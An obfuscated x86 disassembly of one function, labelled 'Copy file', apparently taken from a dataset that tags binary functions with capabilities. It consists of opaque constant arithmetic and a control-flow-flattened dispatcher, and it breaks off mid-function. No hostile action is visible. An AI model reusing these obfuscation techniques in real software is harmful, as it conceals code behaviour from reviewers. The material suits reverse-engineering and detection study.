Function at 0x10103220
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x128
mov eax, dword [0x101d37a8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x101d1cf8]
xor eax, dword [0x101d1cfc]
mov ecx, 0xedc9dcd5
xor edx, edx
div ecx
imul ecx, eax, 0x2ecec622
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xf4c70379
or eax, 0xf4c70379
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0xd345b6b4
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
sub ecx, 0xaf22a9b1
mov eax, ecx
and eax, 0xf1e0a635
xor ecx, 0xf1e0a635
or eax, ecx
or eax, 0x562355b5
mov ecx, eax
xor ecx, 0xf7a9935b
xor ecx, 0xffffffff
or eax, 0xf7a9935b
and eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xed175ddb
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x296967e6
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x2198e39d
mov edx, 0xffffffff
xor edx, 0x2198e39d
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xb4c1559a
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb4c1559a
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x49595860
mov esi, 0xffffffff
xor esi, 0x49595860
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x49595860
or eax, 0x49595860
imul eax, edx
add eax, ecx
and eax, 0x9dc9be45
xor ecx, ecx
sub ecx, 0xd65468cd
add eax, ecx
imul eax, eax, 0xb9abd8f6
add eax, 0xc2362ccd
add eax, 0x700a9687
sub eax, 0xc2362ccd
or eax, 0xca1dd1ee
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov esi, 0xffffffff
xor esi, 0x118bc47a
mov edx, 0xffffffff
xor edx, 0x75ac8cac
and ecx, 0x75ac8cac
and eax, edx
mov edi, esi
and edi, 0x75ac8cac
mov ebx, edx
and ebx, 0x118bc47a
or ecx, eax
mov eax, dword [ebp - 0x24]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x75ac8cac
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xba6a82e
xor eax, 0xffffffff
or ecx, 0xba6a82e
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x4a920287
and ecx, 0x4a920287
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0xa83ca75a
mov edx, 0xffffffff
xor edx, 0xefe5938f
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xefe5938f
add eax, edx
sub eax, ecx
imul esi, eax, 0xe6dc058c
mov eax, esi
xor eax, 0xffffffff
and eax, 0x5eabd0ba
mov edx, 0xffffffff
xor edx, 0x5eabd0ba
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x51da17ba
and ecx, 0x5eabd0ba
and edx, 0x51da17ba
or eax, esi
or ecx, edx
xor eax, ecx
add eax, 0xb8ae95a1
imul eax, eax, 0x153f39d4
mov ecx, 0xffffffff
xor ecx, 0xd7ef7c8f
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0x8cf41964
or eax, 0xd0cdfe6
add eax, 0xfae153bb
imul eax, eax, 0x22cb8ecb
imul ecx, eax, 0x6a7ab4e8
or ecx, 0x274e95d4
xor ecx, 0x8634cb3e
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x3dc7f4ee
mov edx, 0xffffffff
xor edx, 0x3dc7f4ee
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0xf9c0a981
or ecx, 0x998336b2
add ecx, 0x953569d4
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2a765dbd
or eax, edx
and ecx, 0x2a765dbd
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x624a0d76
mov ecx, 0xd2080c02
xor edx, edx
div ecx
imul ecx, eax, 0x1b4a25eb
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xb2a4d3e7
mov edx, 0xffffffff
xor edx, 0xb2a4d3e7
and ecx, edx
or eax, ecx
mov ecx, eax
and ecx, 0xdf24a431
xor eax, 0xdf24a431
or ecx, eax
add ecx, 0x9149b582
add ecx, 0x5cfd2b3d
sub ecx, 0x9149b582
sub ecx, 0x2d31149d
xor ecx, 0xfc52f395
mov edx, 0xffffffff
xor edx, 0xe8e1f38e
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x14], 0xd366479f
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov ecx, eax
xor ecx, 0x3c44e33e
xor ecx, 0xffffffff
or eax, 0x3c44e33e
and eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
sub eax, 0x873ab081
je 0x1010821e
jmp 0x10103582
mov eax, dword [ebp - 0x28]
sub eax, 0x8bc8924c
je 0x10104a80
jmp 0x10103595
mov eax, dword [ebp - 0x28]
sub eax, 0x8f40bcbb
je 0x10106222
jmp 0x101035a8
mov eax, dword [ebp - 0x28]
sub eax, 0x92b5c404
je 0x10107168
jmp 0x101035bb
mov eax, dword [ebp - 0x28]
sub eax, 0x95575af7
je 0x1010388c
jmp 0x101035ce
mov eax, dword [ebp - 0x28]
sub eax, 0x97322965
je 0x10109c5e
jmp 0x101035e1
mov eax, dword [ebp - 0x28]
sub eax, 0x9de7260d
je 0x1010a843
jmp 0x101035f4
mov eax, dword [ebp - 0x28]
sub eax, 0x9f8a718a
je 0x1010b6f5
jmp 0x10103607
mov eax, dword [ebp - 0x28]
sub eax, 0x9fc355d1
je 0x1010465b
jmp 0x1010361a
mov eax, dword [ebp - 0x28]
sub eax, 0xad30b87d
je 0x10104a63
jmp 0x1010362d
mov eax, dword [ebp - 0x28]
sub eax, 0xb9ca828e
je 0x1010535d
jmp 0x10103640
mov eax, dword [ebp - 0x28]
sub eax, 0xba31188c
je 0x10109c36
jmp 0x10103653
mov eax, dword [ebp - 0x28]
sub eax, 0xcd8ed6d6
je 0x10109c6c
jmp 0x10103666
mov eax, dword [ebp - 0x28]
sub eax, 0xd366479f
je 0x1010386c
jmp 0x10103679
mov eax, dword [ebp - 0x28]
sub eax, 0xd68f0c07
je 0x10109154
jmp 0x1010368c
mov eax, dword [ebp - 0x28]
sub eax, 0xd7f9c85d
je 0x10107a0c
jmp 0x1010369f
mov eax, dword [ebp - 0x28]
sub eax, 0xdcf099a3
je 0x1010a851
jmp 0x101036b2
mov eax, dword [ebp - 0x28]
sub eax, 0xe0e75811
je 0x101081fe
jmp 0x101036c5
mov eax, dword [ebp - 0x28]
sub eax, 0xe34e4d4d
je 0x10106c44
jmp 0x101036d8
mov eax, dword [ebp - 0x28]
sub eax, 0xe77a3949
je 0x10107d49
jmp 0x101036eb
mov eax, dword [ebp - 0x28]
sub eax, 0xe81e5ee5
je 0x10103f35
jmp 0x101036fe
mov eax, dword [ebp - 0x28]
sub eax, 0xf20c4d0b
je 0x1010a82f
jmp 0x10103711
mov eax, dword [ebp - 0x28]
sub eax, 0x81945e5
je 0x1010653a
jmp 0x10103724
mov eax, dword [ebp - 0x28]
sub eax, 0xa8363dd
je 0x10106c36
jmp 0x10103737
mov eax, dword [ebp - 0x28]
sub eax, 0xb9c4966
je 0x10108da3
jmp 0x1010374a
mov eax, dword [ebp - 0x28]
sub eax, 0x150c12c3
je 0x10107185
jmp 0x1010375d
mov eax, dword [ebp - 0x28]
sub eax, 0x18a7d693
je 0x1010b584
jmp 0x10103770
mov eax, dword [ebp - 0x28]
sub eax, 0x21cff5a4
je 0x10106fca
jmp 0x10103783
mov eax, dword [ebp - 0x28]
sub eax, 0x238a4ee0
je 0x1010685c
jmp 0x10103796
mov eax, dword [ebp - 0x28]
sub eax, 0x2ac9abfe
je 0x1010b474
jmp 0x101037a9
mov eax, dword [ebp - 0x28]
sub eax, 0x30ad6511
je 0x10104f75
jmp 0x101037bc
mov eax, dword [ebp - 0x28]
sub eax, 0x31ddab0b
je 0x10108a3c
jmp 0x101037cf
mov eax, dword [ebp - 0x28]
sub eax, 0x33b23f9a
je 0x1010b466
jmp 0x101037e2
mov eax, dword [ebp - 0x28]
sub eax, 0x35abb018
je 0x10109162
jmp 0x101037f5
mov eax, dword [ebp - 0x28]
sub eax, 0x36ae02c7
je 0x1010428f
jmp 0x10103808
mov eax, dword [ebp - 0x28]
sub eax, 0x4dd15186
je 0x1010a7c8
jmp 0x1010381b
mov eax, dword [ebp - 0x28]
sub eax, 0x53f7173a
je 0x10109974
jmp 0x1010382e
mov eax, dword [ebp - 0x28]
sub eax, 0x691f8ba1
je 0x10103c1a
jmp 0x10103841
mov eax, dword [ebp - 0x28]
sub eax, 0x7312bd7c
je 0x1010b703
jmp 0x10103854
mov eax, dword [ebp - 0x28]
sub eax, 0x7d973fc0
je 0x10108606
jmp 0x10103867
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0x95575af7
mov edx, 0x53f7173a
cmp esi, 0xb78f7db9
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov ecx, dword [0x101d1d00]
mov edx, dword [0x101d1d04]
mov eax, ecx
xor eax, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
or eax, esi
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
and edx, edx
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe906608c
add eax, ecx
mov ecx, eax
xor ecx, 0x592cafe3
mov edx, 0xffffffff
xor edx, 0x592cafe3
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xc27b2427
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x99a59ce4
add ecx, 0x55e0c4b8
sub ecx, 0xa2c56c9e
sub ecx, 0x55e0c4b8
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3d54f98f
mov edx, 0xffffffff
xor edx, 0x3d54f98f
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, 0xaa94c834
sub eax, ecx
and eax, 0x9b29f06a
mov ecx, 0xffffffff
xor ecx, 0x2c14898f
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5ed22873
mov esi, 0xffffffff
xor esi, 0x5ed22873
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0x5ed22873
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov esi, 0xffffffff
xor esi, 0x4a2b4595
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x4a2b4595
or ecx, 0x4a2b4595
imul ecx, edx
add ecx, eax
or ecx, 0x102c3b5
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xbd44ad0e
add ecx, eax
mov eax, ecx
and eax, 0x63df4eb9
xor ecx, 0x63df4eb9
or eax, ecx
xor eax, 0xb5cd7c7d
add eax, 0xb2cf816d
mov ecx, 0xdf206155
xor edx, edx
div ecx
mov ecx, 0x6d0932f7
xor edx, edx
div ecx
add eax, 0x2b74911f
sub eax, 0xd2ee160c
sub eax, 0x2b74911f
imul eax, eax, 0xa18bdb57
and eax, 0xfe9b4a00
add eax, 0xef07c68
mov ecx, eax
xor ecx, 0x2a24a634
xor ecx, 0xffffffff
and ecx, 0x2a24a634
shl ecx, 1
sub ecx, 0x2a24a634
sub eax, ecx
mov ecx, 0xbe98f9a6
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x5e36897b
mov esi, 0xffffffff
xor esi, 0x5e36897b
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x5e36897b
or ecx, 0x5e36897b
imul ecx, edx
add ecx, eax
and ecx, 0xa8c07088
mov eax, ecx
and eax, 0x93eec0d9
shl eax, 1
add ecx, 0x93eec0d9
sub ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xeb83eaf5
or eax, edx
mov edx, 0xffffffff
xor edx, 0xeb83eaf5
mov esi, 0xffffffff
xor esi, 0xeb83eaf5
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
and ecx, 0x3d0b1449
xor ecx, 0xffffffff
add eax, 0x3d0b1449
add eax, 1
add eax, ecx
and eax, 0xf3912ec0
mov ecx, eax
xor ecx, 0x3972f106
xor ecx, 0xffffffff
and ecx, 0x3972f106
shl ecx, 1
sub ecx, 0x3972f106
sub eax, ecx
mov ecx, 0x7f574241
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xeeaae4dd
mov edx, 0xffffffff
xor edx, 0xeeaae4dd
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xc975f6
xor ecx, 0xffffffff
and ecx, 0xc975f6
shl ecx, 1
sub ecx, 0xc975f6
sub eax, ecx
add eax, 0x44e70d80
add eax, 0x6ded8f11
mov ecx, eax
and ecx, 0xf36fcf9e
xor ecx, 0xffffffff
add eax, 0xf36fcf9e
add eax, 1
add eax, ecx
and eax, 0xf3cc6774
mov ecx, 0x427e71d2
xor edx, edx
div ecx
add eax, 0x15e0b53a
sub eax, 0x1c5fce97
sub eax, 0x15e0b53a
mov ecx, 0xced87180
xor edx, edx
div ecx
mov ecx, 0xe374fe6a
xor edx, edx
div ecx
sub eax, 0x73010523
mov ecx, 0x7a65ac0
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xf73a05d5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf73a05d5
or eax, 0xf73a05d5
imul eax, edx
add eax, ecx
mov ecx, 0x68f0155e
xor edx, edx
div ecx
mov ecx, 0xf683f62c
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xa5a59a4f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa5a59a4f
or eax, 0xa5a59a4f
imul eax, edx
add eax, ecx
mov ecx, 0x25ff46b5
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0xd8f028b3
mov ecx, 0xf20c4d0b
mov edx, 0x691f8ba1
cmp esi, 0x3d251a48
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d08]
and eax, dword [0x101d1d0c]
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0x72b79def
or eax, 0x72b79def
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3dc70ee9
mov edx, 0xffffffff
xor edx, 0x3dc70ee9
and ecx, edx
sub ecx, eax
sub ecx, 0x4d63b4ea
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x280fe51c
and eax, 0x280fe51c
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
or ecx, 0x1f4f7785
sub ecx, 0x444dd882
mov eax, ecx
or eax, 0x6e3ae015
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6e3ae015
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xeef52d91
xor edx, edx
div ecx
xor eax, 0x440d4d36
imul ecx, eax, 0x7c6a0e87
xor ecx, 0xf30325a4
mov eax, 0xffffffff
xor eax, 0xad0b3128
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x36a21ed2
mov edx, 0xffffffff
xor edx, 0x36a21ed2
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x4ea84af0
xor ecx, 0xffffffff
and ecx, 0x4ea84af0
shl ecx, 1
sub ecx, 0x4ea84af0
sub eax, ecx
mov ecx, 0xc031551
xor edx, edx
div ecx
sub eax, 0x4bff51ae
mov ecx, 0x145397c3
xor edx, edx
div ecx
xor eax, 0x39bf728f
sub eax, 0x6767b3c0
mov ecx, eax
and ecx, 0xe2bdf08
xor ecx, 0xffffffff
add eax, 0xe2bdf08
add eax, 1
add eax, ecx
sub eax, 0x2da62393
sub eax, 0xc5fea6f5
mov ecx, 0xb3d8d296
xor edx, edx
div ecx
mov ecx, 0x75f1d076
xor edx, edx
div ecx
and eax, 0x25bdb92
xor eax, 0x6149ce9f
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x818f83a2
or ecx, edx
and eax, 0x818f83a2
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xb7b222fd
or edx, 0xb7b222fd
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xb7b222fd
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
and eax, 0x5a09858c
add eax, 0x3b424551
mov ecx, 0x49fcdc1c
xor edx, edx
div ecx
sub eax, 0xc02c2705
imul eax, eax, 0xc39f3763
mov ecx, 0x67c59240
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x8ed4bbb2
mov eax, ecx
xor eax, 0x915d06fe
mov edx, 0xffffffff
xor edx, 0x915d06fe
and ecx, edx
shl ecx, 1
sub ecx, eax
and ecx, 0xeee3e14
xor ecx, 0x3b305c67
xor eax, eax
sub eax, 0xa4aeb704
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x34ef9be4
mov edx, 0xffffffff
xor edx, 0x34ef9be4
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
and eax, 0xcccdd9b0
sub eax, 0x7e21427b
add eax, 0x785191d6
add eax, 0x7e21427b
mov ecx, 0xa63ff660
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov esi, 0xffffffff
xor esi, 0xc5ce9f3e
mov ecx, edx
and ecx, esi
mov esi, edx
xor esi, 0xc5ce9f3e
add edx, esi
sub edx, ecx
sub edx, 0x9a8712e1
mov ecx, edx
xor ecx, 0xa32bed80
xor ecx, 0xffffffff
and ecx, 0xa32bed80
shl ecx, 1
sub ecx, 0xa32bed80
sub edx, ecx
mov esi, 0xffffffff
xor esi, 0x304367d9
mov ecx, edx
and ecx, esi
mov esi, edx
xor esi, 0x304367d9
add edx, esi
sub edx, ecx
sub edx, 0xbd8175ba
mov ecx, edx
xor ecx, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
and ecx, esi
mov esi, 0xffffffff
xor esi, 0x927b242c
mov edi, 0xffffffff
xor edi, 0x927b242c
and esi, edi
xor ecx, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x927b242c
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
imul esi, ecx, 0x495861e6
cmp dword [0x101d4c98], 0
sete cl
mov byte [ebp - 0x29], cl
mov ecx, 0xe81e5ee5
mov edx, 0x691f8ba1
cmp esi, 0x193d7505
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d10]
and eax, dword [0x101d1d14]
sub eax, 0x9a7b5b7a
sub eax, 0xb492b8ad
add eax, 0x9a7b5b7a
or eax, 0x8f2cd092
mov edx, eax
xor edx, 0xffffffff
and edx, 0x38ef8d68
mov esi, 0xffffffff
xor esi, 0x38ef8d68
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x38ef8d68
or eax, 0x38ef8d68
imul eax, edx
add eax, ecx
sub eax, 0x8055c8d
sub eax, 0x32edeab3
add eax, 0x8055c8d
mov ecx, 0xd6726fb7
xor edx, edx
div ecx
sub eax, 0xe233947
add eax, 0xcb876e5c
xor eax, 0x64081ba1
and eax, 0xce87233e
mov edx, 0xffffffff
xor edx, 0x54d46513
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x54d46513
add eax, edx
sub eax, ecx
sub eax, 0x30d71fc7
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x63d8fd63
or ecx, 0x63d8fd63
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x95250dec
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x95250dec
or eax, 0x95250dec
imul eax, edx
add eax, ecx
mov ecx, 0xe59e80b9
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0xb4a5e7b4
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0xc6c59ff8
xor edx, edx
div ecx
imul eax, eax, 0x6c5f54b9
sub eax, 0x4d9c6d85
mov ecx, eax
xor ecx, 0x4d542dc1
xor ecx, 0xffffffff
or eax, 0x4d542dc1
and eax, ecx
or eax, 0x9e2d025
imul ecx, eax, 0x70f1206b
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x30], eax
mov esi, 0xffffffff
xor esi, 0x2277cf78
mov edx, 0xffffffff
xor edx, 0xc4c2e2d2
and eax, 0xc4c2e2d2
and ecx, edx
mov edi, esi
and edi, 0xc4c2e2d2
mov ebx, edx
and ebx, 0x2277cf78
or eax, ecx
mov ecx, dword [ebp - 0x30]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc4c2e2d2
and ecx, edx
or eax, ecx
and eax, 0x1c63baeb
xor eax, 0xa15f7da8
mov esi, 0xffffffff
xor esi, 0x8002ad51
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8002ad51
or eax, 0x8002ad51
imul eax, edx
add eax, ecx
imul eax, eax, 0x7364e2bc
mov edx, eax
xor edx, 0xffffffff
and edx, 0xfcc02e5b
mov esi, 0xffffffff
xor esi, 0xfcc02e5b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xfcc02e5b
or eax, 0xfcc02e5b
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xd7dc6578
shl ecx, 1
xor eax, 0xd7dc6578
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7ab36c4d
mov ecx, 0xffffffff
xor ecx, 0x216720db
or eax, edx
or ecx, 0x216720db
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x10b0c7c3
xor edx, edx
div ecx
imul eax, eax, 0x33de1e44
add eax, 0x90690c76
imul eax, eax, 0x50ac980f
imul eax, eax, 0x344a71ef
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x6a5c0aa5
add eax, ecx
add eax, 0x34d0293b
add eax, 0x6362c0c4
sub eax, 0x34d0293b
mov ecx, 0xe88d7b40
xor edx, edx
div ecx
and eax, 0x731bc367
and eax, 0xa54572e8
add eax, 0x42933907
mov esi, 0xffffffff
xor esi, 0x393ce289
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x393ce289
or eax, 0x393ce289
imul eax, edx
add eax, ecx
add eax, 0xb6d24834
mov ecx, 0x69d117f4
xor edx, edx
div ecx
or eax, 0x18a8713b
mov ecx, 0xb24a0a90
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x1fcfdd25
xor ecx, 0x1fcfdd25
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6b78ec9
mov esi, 0xffffffff
xor esi, 0x6b78ec9
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6b78ec9
or eax, 0x6b78ec9
imul eax, edx
add eax, ecx
mov ecx, 0x4c2f9179
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcf9ea0f8
mov esi, 0xffffffff
xor esi, 0xcf9ea0f8
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcf9ea0f8
or eax, 0xcf9ea0f8
imul eax, edx
add eax, ecx
mov ecx, 0x4202daef
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x95575af7
mov edx, 0x36ae02c7
cmp esi, 0x1b0deee3
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d18]
mov edx, dword [0x101d1d1c]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x46867fe3
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0x7ffdc4a9
or edx, 0x7ffdc4a9
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, 0x7ffdc4a9
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0x3454bc34
mov edx, 0xffffffff
xor edx, 0x3454bc34
and ecx, edx
shl ecx, 1
sub ecx, eax
add ecx, 0xd86920bb
mov eax, ecx
and eax, 0x2e98f57c
xor ecx, 0x2e98f57c
or eax, ecx
imul eax, eax, 0x94f83fce
sub eax, 0x495cd91f
mov ecx, 0xfdca614f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov esi, 0xffffffff
xor esi, 0x21c1fff5
mov edx, 0xffffffff
xor edx, 0xdc11969d
and eax, 0xdc11969d
and ecx, edx
mov edi, esi
and edi, 0xdc11969d
mov ebx, edx
and ebx, 0x21c1fff5
or eax, ecx
mov ecx, dword [ebp - 0x34]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xdc11969d
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc32d29b5
mov ecx, 0xffffffff
xor ecx, 0xb6b8167c
or eax, edx
or ecx, 0xb6b8167c
xor eax, 0xffffffff
and eax, ecx
or eax, 0xc4228722
mov ecx, 0x39636152
xor edx, edx
div ecx
imul eax, eax, 0x3ea43a83
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x61ef926f
or ecx, edx
mov edx, 0x61ef926f
and edx, 0x61ef926f
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor eax, eax
sub eax, 0x8b956524
add ecx, eax
xor ecx, 0xb187c8c8
mov eax, ecx
and eax, 0x818d69dd
xor eax, 0xffffffff
and ecx, 0x818d69dd
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0x1d185256
xor eax, 0x3c92dc16
mov ecx, eax
and ecx, 0xce110a1c
xor ecx, 0xffffffff
add eax, 0xce110a1c
add eax, 1
add eax, ecx
mov ecx, 0xbe19a802
xor edx, edx
div ecx
add eax, 0x8837a808
sub eax, 0xf48e9554
mov ecx, 0x3491a7b3
xor edx, edx
div ecx
imul eax, eax, 0xd3772ebe
mov ecx, 0x984c369
xor edx, edx
div ecx
mov ecx, 0x3d4f91fa
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x8411a617
mov edx, 0xffffffff
xor edx, 0x8411a617
and ecx, edx
or eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xefb20268
and ecx, 0xefb20268
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x611b4dbd
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x6fe911ec
xor edx, edx
div ecx
mov ecx, 0x9fba9326
xor edx, edx
div ecx
add eax, 0x93fbc898
add eax, 0x23e79f1f
sub eax, 0x93fbc898
mov ecx, 0x4d686d21
xor edx, edx
div ecx
mov ecx, 0xc3ea638e
xor edx, edx
div ecx
and eax, 0x6a536a78
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1cc944f6
mov esi, 0xffffffff
